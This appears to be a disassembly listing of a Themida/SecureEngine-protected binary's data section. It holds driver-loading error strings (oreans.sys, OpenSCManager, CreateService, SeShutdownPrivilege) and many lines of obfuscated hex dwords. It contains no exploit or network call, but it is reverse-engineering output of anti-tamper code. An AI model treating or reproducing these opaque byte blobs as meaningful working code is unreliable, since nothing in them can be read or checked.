		dd 6E616572h, 2E323373h, 737973h, 49h dup(0)
a3cannotUpdateO	db '3Cannot Update oreans.sys driver. Please, make sure that you have'
		db 0Ah
		db 0Dh,'administrator',27h,'s permits the first time that you are going to '
		db 'run this program.',0
		align 4
		dd 59h dup(0)
a3cannotOpenOre	db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah
		db 0Dh,'is not open by another program.',0
		align 4
		dd 67h dup(0)
a3secureengineD	db '3SecureEngine driver cannot be updated because there are some pro'
		db 'grams using',0Ah
		db 0Dh,'it. You need to close those programs or restart your computer.',0Ah
		db 0Dh,'Restart now?',0
		align 4
		dd 0D9h	dup(0)
a_Oreans_vxd	db '\\.\Oreans.vxd',0
		align 4
		dd 2 dup(0)
		dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0)
aSeshutdownpr_0	db 'SeShutdownPrivilege',0
		align 8
aCreateeventApi	db 'CreateEvent API Error while extraction the driver',0
aGetenvironment	db 'GetEnvironmentVariable API Error while extraction the driver',0
aOpenscmanagerA	db 'OpenSCManager API Error while extraction the driver',0
aCreateserviceA	db 'CreateService API Error while extraction the driver',0
aCloseservice_0	db 'CloseServiceHandle API Error while extraction the driver',0
aOpenserviceApi	db 'OpenService API Error while extraction the driver',0
aStartserviceAp	db 'StartService API Error while extraction the driver',0
aApicErrorCanno	db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah
		db 0Dh,'contact info@oreans.com for this error',0
		dd 0
		dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch
		dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h
		dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h
		dd 70h dup(0)
		dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh
		dd 9400h, 500h,	100h, 0A2800h, 200h, 21h dup(0)
		dd 8BC48B00h, 0E20CD18Dh, 0B1858905h, 6A05E204h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0BEAAC352h, 0C08BF82Bh, 0AE9h, 0CEBD1500h, 9E9E7BEh
		dd 8390DE5Ch, 0E21EA9BDh, 9750005h, 1805BD83h, 740005E2h
		dd 8B535019h, 43DB8C0h,	85890000h, 5E2315Dh, 0B2FA9D8Dh
		dd 0D3FF05E4h, 0BD83585Bh, 5E21805h, 50177400h,	43DB853h
		dd 85890000h, 5E2315Dh,	0AFE99D8Dh, 0D3FF05E4h,	9D31585Bh
		dd 5E20951h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	1BC35646h, 253F512Eh, 0B818589h, 0C08B05E2h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 7EC35242h, 8BA6C580h
		dd 0D68B53C0h, 0A9BD835Fh, 5E21Eh, 0BD830975h, 5E21805h
		dd 50137400h, 0B8C08B53h, 0
		dd 0B19C9D8Dh, 0D3FF05E4h, 0BD83585Bh, 5E21805h, 50117400h
		dd 0B853h, 9D8D0000h, 5E4B04Dh,	585BD3FFh, 5EDBD89h, 0BD8B05E2h
		dd 5E21DADh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	5CC35040h, 929218DFh, 2189958Bh, 0B70F05E2h, 8BC08BC9h
		dd 0E209E995h, 33C08B05h, 0E216B5BDh, 0A9BD8305h, 5E21Eh
		dd 0BD830975h, 5E21805h, 50137400h, 0B8C08B53h,	0
		dd 0B0CE9D8Dh, 0D3FF05E4h, 0BD83585Bh, 5E21805h, 50117400h
		dd 0B853h, 9D8D0000h, 5E4B01Bh,	585BD3FFh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 5AC35646h, 0EACC2BFh
		dd 87AAF611h, 9DBD8B50h, 5A05E21Ch, 13E9C08Bh, 72000000h
		dd 0B1A3EC54h, 5F6BBCF7h, 68C36983h, 5B165B57h,	0C08B28C7h
		dd 9E9h, 7F712200h, 535E4FBAh, 0BD83F388h, 5E21EA9h, 83097500h
		dd 0E21805BDh, 13740005h, 0C08B5350h, 0B8h, 359D8D00h
		dd 0FF05E4B1h, 83585BD3h, 0E21805BDh, 11740005h, 0B85350h
		dd 8D000000h, 0E4B0349Dh, 5BD3FF05h, 55006A58h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 4DE17498h
		dd 735F9B77h, 0C08B1767h, 6E857h, 5E9F0000h, 9E573523h
		dd 2435B509h, 5F5F05E2h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 189567C3h, 0A309E648h
		dd 0A9BD83BCh, 5E21Eh, 0BD830975h, 5E21805h, 50137400h
		dd 0B8C08B53h, 0
		dd 0B0679D8Dh, 0D3FF05E4h, 8952585Bh, 0E21B818Dh, 0B9665F05h
		dd 0C08B5691h, 35BD8Bh,	0C08B05E2h, 108C0Fh, 0BE90000h
		dd 97000000h, 55BA6D6Eh, 0D3FCE655h, 0BD839C57h, 5E21EA9h
		dd 83097500h, 0E21805BDh, 19740005h, 0C08B5350h, 7D0B8h
		dd 5D858900h, 8D05E231h, 0E4B2FA9Dh, 5BD3FF05h,	5BD8358h
		dd 5E218h, 53501774h, 7D0B8h, 5D858900h, 8D05E231h, 0E4AFE99Dh
		dd 5BD3FF05h, 0AFC28058h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 0DC35242h, 0CE8B66AAh, 0BD8BC08Bh, 5E21F15h
		dd 6B0DBA66h, 0A4985C6h, 515305E2h, 8AF78166h, 90685F40h
		dd 6699395Fh, 0FFAF3FBFh, 0E2262DB5h, 0E8E0F05h, 60000000h
		dd 1F919533h, 0BD2905E2h, 5E22659h, 0ED858D61h,	6A05E239h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 8305C355h, 720FA68Fh, 6AD0FFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0E0493AC3h
		dd 89DFEEDBh, 0E20B1585h, 2985BA05h, 85C61A21h,	5E20A49h
		dd 51006A57h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0D5E44906h, 0FD25F7E0h, 4520668h, 0B1858990h
		dd 0FF05E20Bh, 0E2262DB5h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0D22C47EDh
		dd 0E321CF85h, 21BD89ADh, 8B05E210h, 0ED858DFAh, 8B05E239h
		dd 0E20D0595h, 29D0FF05h, 0E2199D85h, 9D858905h, 905E218h
		dd 0E2220D8Dh, 4985C605h, 4305E20Ah, 89D98166h,	70286865h
		dd 0EA8ABC90h, 262DB5FFh, 0BF0F05E2h, 0ED858DD3h, 6A05E239h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 1FFFC353h, 6F20175Fh, 64AE3769h, 29958D23h
		dd 0D0FF05E2h, 4EC7C181h, 85895139h, 5E216C5h, 0C880Fh
		dd 830F0000h, 6, 2281B589h, 0C6FC05E2h,	0E20A4985h, 6A4C05h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 7AC67CC3h, 65442799h, 8B60B3F5h, 0E200ED95h,	0DE8B6605h
		dd 0FE961h, 0BBE0000h, 0E3F14CCh, 1F4D19E2h, 116E939Dh
		dd 1CE96856h, 6AD9DAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0AA538C3h, 0EE97A11h, 81000000h
		dd 33B47A03h, 60C3A14Dh, 0B52EB7C2h, 2DB5FFC6h,	0B505E226h
		dd 0ED858DFBh, 0F05E239h, 686h,	15958900h, 0FF05E21Fh
		dd 8D8B51D0h, 5E205EDh,	0F985895Ah, 6A05E216h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 36CCC356h, 21618D09h, 85C605E2h, 5E20A49h, 1830F46h
		dd 0F9000000h, 0DE061468h, 852B60BAh, 5E204E9h,	149D9D29h
		dd 0FF6105E2h, 0E2262DB5h, 38C0F05h, 66000000h,	858DD08Bh
		dd 5E239EDh, 2880Fh, 0FE8B0000h, 830FD0FFh, 1, 5E9F5h
		dd 944F0000h, 89041542h, 0E2108D85h, 0EA816605h, 85C6EC53h
		dd 5E20A49h, 11E947h, 0ED420000h, 35B7EF97h, 0F05B2953h
		dd 441EDF32h, 6834A7E2h, 8A0FB5E2h, 0D058D89h, 0B5FF05E2h
		dd 5E2262Dh, 8DCAB70Fh,	0E239ED85h, 0FD0FF05h, 684h, 69853100h
		dd 8905E22Ah, 0E230D585h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 82F49272h
		dd 0C630309Ch, 0E20A4985h, 0CE94705h, 0B7000000h, 14708F7Dh
		dd 8010D8F3h, 1D21EC5h,	0E223B19Dh, 0B5F36805h,	890F83D0h
		dd 0
		dd 262DB5FFh, 6A05E2h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0A91A63C3h, 6810Fh, 958B0000h, 5E21495h
		dd 24258D89h, 858D05E2h, 5E239EDh, 0C81BD8Bh, 0D0FF05E2h
		dd 89FB8B66h, 0E2112D85h, 0E9BD8905h, 0C605E204h, 0E20A4985h
		dd 6A7705h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0AB5CE4C3h, 1DD19523h, 5E905E2h, 14000000h
		dd 77FAAFD3h, 0FADF8166h, 0A8A368B5h, 6AF397h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 87E4D3C3h, 0FFB33D82h, 0E2150DB5h, 258D8B05h, 8D05E21Dh
		dd 0E239ED85h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 4266007h, 0FFEA5113h
		dd 0FD0FFCAh, 8589FBB7h, 5E22C29h, 14AFD781h, 85C63059h
		dd 5E20A49h, 0EDBD8B47h, 6805E216h, 8728FAF6h, 10E9h, 0F39DBF00h
		dd 8C7609F3h, 2F6C0AEEh, 21D045ACh, 2DB5FF1Eh, 6A05E226h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 2397C352h, 84BFA43Ch, 8D7CFF2Ah, 0E239ED85h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 67261554h, 958913D0h, 5E23025h, 8960D0FFh
		dd 0E201958Dh, 0DE8B6605h, 41858961h, 6A05E20Ch, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 9BD1C352h, 3F5F7721h, 0C63FDAA3h, 0E20A4985h, 0EE804305h
		dd 7E934h, 46580000h, 0E20C1C1Fh, 6EFC685Fh, 0BD8BBC8Eh
		dd 5E21115h, 262DB5FFh,	958B05E2h, 5E216D9h, 39ED858Dh
		dd 0BD8B05E2h, 5E200F1h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 3ACEE1C3h, 6FCE807Ah
		dd 0C7DDDF81h, 85896E2Fh, 5E22B51h, 160D9509h, 85C605E2h
		dd 5E20A49h, 0C58D8945h, 6805E21Bh, 8E726969h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 3CC35040h, 0FFCD2D42h
		dd 0E2262DB5h, 0E9958B05h, 8D05E219h, 0E239ED85h, 0E5958B05h
		dd 0FF05E222h, 0D8B966D0h, 5858941h, 905E204h, 0E22AF59Dh
		dd 0CD958B05h, 0C605E221h, 0E20A4985h, 8D8B4405h, 5E2214Dh
		dd 0F2EC6468h, 61950BB8h, 0FF05E217h, 0E2262DB5h, 31858905h
		dd 8D05E225h, 0E239ED85h, 0C9806005h, 61C68A33h, 0BA60D0FFh
		dd 28CE72ACh, 614FE280h, 23E58589h, 0CB8B05E2h,	0A4985C6h
		dd 0F54305E2h, 764AA768h, 57006AC0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 9533FCDCh
		dd 5E21F91h, 262DB5FFh,	0F6005E2h, 682h, 0A5858B00h, 6105E22Ah
		dd 39ED858Dh, 96005E2h,	0E210E18Dh, 1BD2905h, 6105E211h
		dd 0B529D0FFh, 5E21385h, 0A598589h, 6A05E2h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 80AEF1C3h
		dd 0E5072BBDh, 840F0005h, 0F5h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 98C35343h, 0E695FDA3h, 8166C8BCh
		dd 8DB617EFh, 0E5070D85h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0F60C553h
		dd 810FF1B7h, 6, 2231C081h, 0F613571h, 68Fh, 0C9BD8B00h
		dd 5005E222h, 0EE9h, 38527F00h,	5A81FE9Bh, 795C72D6h, 6A3876DDh
		dd 6AF501h, 0CE953h, 7A940000h,	6D60143Fh, 0B94136CCh
		dd 6A5AC3A0h, 0A1BD8900h, 0FF05E20Eh, 0E216C595h, 0FD8D8B05h
		dd 8905E215h, 0E201A985h, 0DE805h, 0AA70000h, 95F6B21Bh
		dd 0CFBC3BA1h, 804A6DFEh, 6A593CD9h, 31BD8BFFh,	105E22Bh
		dd 0E2064DBDh, 0A9B5FF05h, 0F05E201h, 68Ah, 88C78100h
		dd 0FF1CA9EAh, 0E2189D95h, 68A0F05h, 0B000000h,	0E2179595h
		dd 81C08B05h, 986DEBC9h, 23F7810Eh, 833E68A9h, 0E21EA9BDh
		dd 9750005h, 1805BD83h,	740005E2h, 8B535019h, 7D1B8C0h
		dd 85890000h, 5E2315Dh,	0B2FA9D8Dh, 0D3FF05E4h,	0BD83585Bh
		dd 5E21805h, 50177400h,	7D1B853h, 85890000h, 5E2315Dh
		dd 0AFE99D8Dh, 0D3FF05E4h, 0B529585Bh, 5E221C1h, 66D1B70Fh
		dd 0C08BF88Bh, 6E9h, 0F479A500h, 0C6008B23h, 0E20A4985h
		dd 29F94705h, 0E2243185h, 0F7C16805h, 6A93C8h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8D89E1C3h, 5E2333Dh,	262DB5FFh, 8D8B05E2h, 5E223C1h
		dd 39ED858Dh, 6A05E2h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 1D9115C3h, 0FF290E14h, 38C0FD0h
		dd 53000000h, 8B5059F9h, 4E858DF8h, 6605E50Bh, 0C7F220BFh
		dd 9400h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 895849DBh, 0E232899Dh, 0F98D2905h
		dd 8D05E221h, 0E50B4EB5h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 1441EB00h
		dd 0B9D0FF56h, 71068FF8h, 0B4E858Dh, 0C78105E5h, 0B7F729Fh
		dd 6047883h, 14850Fh, 0F88B0000h, 0BE285C7h, 105E5h, 0B70F0000h
		dd 0D98166F8h, 0BD830F7Fh, 5E216F1h, 0B4850F00h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0DEAEC357h, 14E8h, 0AFF11000h, 8B22A6C8h
		dd 66013441h, 0DF7C53B2h, 24F2F978h, 5AD18B32h,	1D7D8D09h
		dd 0BD8305E2h, 5E50BE2h, 68850F00h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 49EAC350h, 6B1BA9B0h, 0EF81030Ch, 211433EDh,	0E89BD83h
		dd 0F0005E2h, 3284h, 0D985C700h, 5E215h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 99CFC356h, 5830Fh, 81660000h, 6613A9D2h, 6ADB8Ch, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 869E6C3h, 7C0449E6h,	0F04C3F6h, 63584h, 11C98100h, 29593C34h
		dd 0E20E8185h, 0B985C705h, 5E200h, 57000000h, 1F05958Bh
		dd 805A05E2h, 0E50738BDh, 850F0005h, 1,	4985C6F9h, 4705E20Ah
		dd 6850FFCh, 81000000h,	74EFD5F1h, 5B866805h, 890FE3E4h
		dd 6, 199D958Bh, 0B5FF05E2h, 5E2262Dh, 3C1BD8Bh, 858D05E2h
		dd 5E239EDh, 0FF33C980h, 4880FD0h, 66000000h, 680C74BAh
		dd 104h, 3850Fh, 0BF0F0000h, 0FD9D8DF9h, 8B05E21Fh, 0E2046D95h
		dd 0CCEE8005h, 0F526053h, 665EFBBFh, 0FF61CF8Bh, 57006AD0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0EB0F955Ch, 60CD61D6h, 0C1B52B60h, 8105E211h, 0AEDC20E2h
		dd 0BD8B614Fh, 5E2048Dh, 0F1805061h, 858D5F4Dh,	5E21FFDh
		dd 1AA18501h, 315005E2h, 0E20A2D95h, 0EA858D05h, 0BF05E506h
		dd 68C53890h, 5DB58950h, 8D05E209h, 0E4FDBD85h,	0C2816605h
		dd 6A50E8A3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 8FA7C351h, 0C669EC9Ah,	44AFFD0Dh
		dd 1E558D8Bh, 95FF05E2h, 5E22C29h, 38539BFh, 0CC4835Ah
		dd 4DE18166h, 68006AE1h, 80h
		dd 6A036Ah, 68006Ah, 8D800000h,	0E4FDBD85h, 95FF5005h
		dd 5E22B51h, 6CD8589h, 85C605E5h, 5E20A49h, 5E876847h
		dd 0B5FFC7B1h, 5E2262Dh, 39ED858Dh, 0D0FF05E2h,	0B5FF006Ah
		dd 5E506CDh, 8B56D0FFh,	0E217A18Dh, 8D895A05h, 5E21B59h
		dd 37D03Dh, 64830F00h, 89000000h, 0E21B4595h, 0CDB5FF05h
		dd 6A05E506h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 5DC5C350h, 0BD295619h,	5E20759h
		dd 0A5995FFh, 858905E2h, 5E213B5h, 1DED9531h, 15E905E2h
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0FF5BC353h, 0E506CDB5h, 0FD9D0905h
		dd 0FF05E22Ch, 0E20A5995h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 217341B0h
		dd 0BA5077DFh, 1C77CB1Fh, 7E859h, 3D410000h, 0BD027DB0h
		dd 0E78166C5h, 6A5F54CFh, 1DB58900h, 6A05E22Dh,	0B98D8B00h
		dd 6A05E205h, 3840F00h,	80000000h, 6AB4EEh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 75C35040h, 8B4D4D87h
		dd 0F7F6C7Ah, 0CE9006Ah, 1C000000h, 84C67EE4h, 0D151686Dh
		dd 6AC1C92Ah, 0C7E78100h, 0BF05A6E3h, 549A70F2h, 6D1858Dh
		dd 958B05E5h, 5E21121h,	4D18529h, 0E95005E2h, 0Ch, 78CD3178h
		dd 6C8C5C77h, 4CE23C9h,	2B5195FFh, 0EE905E2h, 0CD000000h
		dd 0DCCDEDB0h, 817EF96Ch, 0BD605DAh, 0FFF88324h, 1E9850Fh
		dd 95230000h, 5E21A85h,	0BE4D858Dh, 5E905E4h, 82000000h
		dd 0A5B0F550h, 0BF0FD0FFh, 81006AD3h, 943B84F7h, 6A006A63h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0F51C352h, 6AC9BFh, 3840Fh, 8B660000h, 41BD0BCFh
		dd 6A05E205h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 798D29F4h, 6A05E206h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 8BB95A52h, 0EE9h, 457F8200h,	2C5F2E41h, 7F61D8CAh, 6A9E772Ah
		dd 14E800h, 5F290000h, 3347BB1h, 5910E73Fh, 0C53C2A4h
		dd 0E7B61DEBh, 8E0FB651h, 2, 8D5FD08Bh,	0E506D185h, 85096005h
		dd 5E21AA1h, 68D0Fh, 858B0000h,	5E205D5h, 6A5061h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h
dword_51F9EC	dd 52420000h, 8D31C5C3h, 5E22215h, 11E8h, 1ACE0100h, 6C5A7736h
					; DATA XREF: Themida_:004EF6B8o
		dd 552D1A5Fh, 0A7F371EEh, 81663B3Fh, 5AEC64DFh,	7E9h, 0C1F4A700h
		dd 0EFCCD418h, 2B5195FFh, 8DB105E2h, 117D8D8Bh,	0F88305E2h
		dd 9C850FFFh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0C5B2C355h,	0D9B58DC8h
		dd 0F05E500h, 48Ah, 8ABA6600h, 0CB153E0h, 0E6858D59h, 6A05E4ACh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0BC57C350h, 0E369634Bh, 0D18B41F5h, 0FFC0F680h
		dd 3CB966D0h, 6AF89Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 34C35141h, 46661D5Bh,	0B99D7D0Dh, 0FC4FB6D4h
		dd 40595FFh, 816605E2h,	8903F9E9h, 0E506CD85h, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 3FC0F946h, 66890D1Ah, 2D33DA81h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0E4DF58C3h
		dd 0E1163113h, 8D5437DFh, 0E506C585h, 10E905h, 7E760000h
		dd 0D7EF3760h, 0A87CEEE6h, 626D8621h, 6A505DE7h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0DB0FC355h, 9ADCB35Fh, 4B98ECBBh, 4EC18166h,	8A046A8Fh
		dd 4D858DF5h, 8105E223h, 7DEC35D7h, 0BD8B5041h,	5E22C99h
		dd 958B006Ah, 5E23039h,	6AD08Bh, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 17h, 0E2C35141h,	6A1C3AE0h, 50006A01h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 0CDB5FF24h, 0FF05E506h, 0E223E595h, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 5B5DFFF3h, 51A93604h, 0F1812BA0h, 7AF2101Ch,	0C800Fh
		dd 8F0F0000h, 6, 9998531h, 7BE905E2h, 6600001Bh, 0C08BFB8Bh
		dd 2C898589h, 0BD8305E2h, 5E21EA9h, 83097500h, 0E21805BDh
		dd 19740005h, 0C08B5350h, 7D2B8h, 5D858900h, 8D05E231h
		dd 0E4B2FA9Dh, 5BD3FF05h, 5BD8358h, 5E218h, 53501774h
		dd 7D2B8h, 5D858900h, 8D05E231h, 0E4AFE99Dh, 5BD3FF05h
		dd 21BD8B58h, 0F05E218h, 0C08BD6B7h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 2FC35242h, 35496959h, 26C94935h
		dd 0D28166E3h, 85C71C7Ah, 5E200B9h, 1, 0B868CE8Bh, 0FFCEE4E7h
		dd 0E21189B5h, 0ED858D05h, 0FF05E239h, 718589D0h, 6805E223h
		dd 0C005DBD4h, 1189B5FFh, 858D05E2h, 5E239EDh, 8589D0FFh
		dd 5E20469h, 0FB76858Dh, 0FF5005E4h, 0E2262DB5h, 0D595FF05h
		dd 0B05E230h, 8B0B74C0h, 29858DD8h, 5005E50Bh, 858DD3FFh
		dd 5E50B29h, 9388366h, 85C70A75h, 5E22655h, 1, 0C4195FFh
		dd 0FF2505E2h, 83000000h, 0A7305F8h, 17B585C7h,	105E2h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 10303CC3h, 56C01A68h, 12E9C9h, 0C7450000h
		dd 7F118962h, 36D3CD1Ah, 11A9F6FEh, 18D2711Fh, 0BD8006B5h
		dd 5E50738h, 0B850F00h,	0E9000000h, 1A12h, 31018D8Bh, 0BD8305E2h
		dd 5E22655h, 0C7850F00h, 60000000h, 9589EBB0h, 5E219A5h
		dd 2858D61h, 6605E507h,	59EBC281h, 10E950h, 0D04B0000h
		dd 0C0A895F7h, 31AEFA54h, 88ADD52Bh, 16A851Dh, 6AEF8Ah
		dd 22E28166h, 0E9006A3Ch, 13h, 2F0EE2D5h, 919141DEh, 9C404241h
		dd 1F73F78Eh, 0FF03FAA3h, 0E216C595h, 8B0F05h, 89000000h
		dd 0E5072C85h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 1161724Dh, 0CBE9E987h
		dd 1BD896Fh, 0E905E222h, 14h, 3105877Dh, 0FC81C8F0h, 8FA8654h
		dd 0ED431B41h, 0F05AF32Eh, 0BF0FFF6Ah, 2CB5FFFEh, 8B05E507h
		dd 0E221418Dh, 9D95FF05h, 6605E218h, 2075F281h,	18958589h
		dd 858D05E2h, 5E4FB3Dh,	59958953h, 5A05E200h, 8FC68050h
		dd 16F995FFh, 6A05E2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0A2184C3h, 0BFD9175h, 85892E85h
		dd 5E4FBC7h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	8EC35040h, 1089BD29h, 8AB505E2h, 0FB4A858Dh, 850905E4h
		dd 5E20991h, 65858950h,	6605E22Dh, 0B5FFFA8Bh, 5E4FBC7h
		dd 1FCD9D89h, 95FF05E2h, 5E230D5h, 5E8h, 6A108200h, 0BD0B9CF9h
		dd 5E217C5h, 2185895Ah,	0F05E214h, 0BD89CBBFh, 5E2138Dh
		dd 0FBB8858Dh, 816605E4h, 29ACD4F1h, 0E22D61BDh, 0BA665005h
		dd 0B5FFDFDDh, 5E4FBC7h, 0D9958B57h, 5905E208h,	30D595FFh
		dd 6A05E2h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0C300C7C3h, 775B2631h, 0B3B966E9h, 0DB85891Ch
		dd 2905E4FBh, 0E20D7D9Dh, 319D8905h, 8D05E216h,	0E4FB9785h
		dd 81BD2B05h, 5005E20Fh, 155DBD8Bh, 0BD8B05E2h,	5E215DDh
		dd 0FBC7B5FFh, 6A05E4h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 13D937C3h, 2509BD8Bh, 8F0F05E2h
		dd 2, 95FFBCB1h, 5E230D5h, 89F9BF0Fh, 0E4FBD385h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 2A770629h, 1A1012BFh, 10E8D8h, 8A330000h, 733B9E4Eh
		dd 0AD88DD83h, 0FCF5C43Dh, 958BDA48h, 5E21505h,	0D18D8B59h
		dd 8D05E20Ch, 0E4FB8A85h, 0DE95005h, 0B5000000h, 1B1AE5B0h
		dd 0E933DA2h, 2FD394EEh, 0FBC7B5FFh, 816605E4h,	0F8069DE7h
		dd 30D595FFh, 858905E2h, 5E216BDh, 29A18D8Bh
		db 0E2h
byte_520045	db 5, 89h, 85h		; DATA XREF: ___:0042CC88o
					; ___:0042CCA0o
		dd 5E4FBD7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0F9C35343h, 5031E521h, 330FED8Ah, 14E957BEh, 0DF000000h
		dd 42FD3E65h, 0DB6E7DA4h, 0D02AEE6Ch, 0C18881DCh, 59856AA4h
		dd 197D8D8Bh, 858D05E2h, 5E4FBA5h, 13B26060h, 8E0F61F5h
		dd 6, 8A0Fh, 50610000h,	38B0Fh,	0BF0F0000h, 0C7B5FFCFh
		dd 6A05E4FBh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0D8A9C357h, 68F7CD76h,	0BD8B1ABBh
		dd 5E208A5h, 30D595FFh,	858905E2h, 5E203C9h, 0FB59858Dh
		dd 0BD8B05E4h, 5E20109h, 55BD0B50h, 0FF05E21Ch,	0E4FBC7B5h
		dd 258D8B05h, 0FF05E224h, 0E230D595h, 11E905h, 0B93B0000h
		dd 7B0123CAh, 0A905AFE4h, 0ABA39E46h, 892E2DFDh, 0E4FBCB85h
		dd 3114B905h, 0F2807EC5h, 68858D27h, 8105E4FBh,	4F4DADDAh
		dd 85895075h, 5E21089h,	0FBC7B5FFh, 6A05E4h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0CC3149C3h
		dd 891B335Ah, 0E2116995h, 0D595FF05h, 0F05E230h, 8589CEB7h
		dd 5E4FBCFh, 2D2DB509h,	46805E2h, 8B000001h, 0E21129BDh
		dd 5F858D05h, 0F505E4FCh, 1850F50h, 0F9000000h,	0FD63858Dh
		dd 958905E4h, 5E21481h,	52006A50h, 3E8h, 0C35A2000h, 2454895Ah
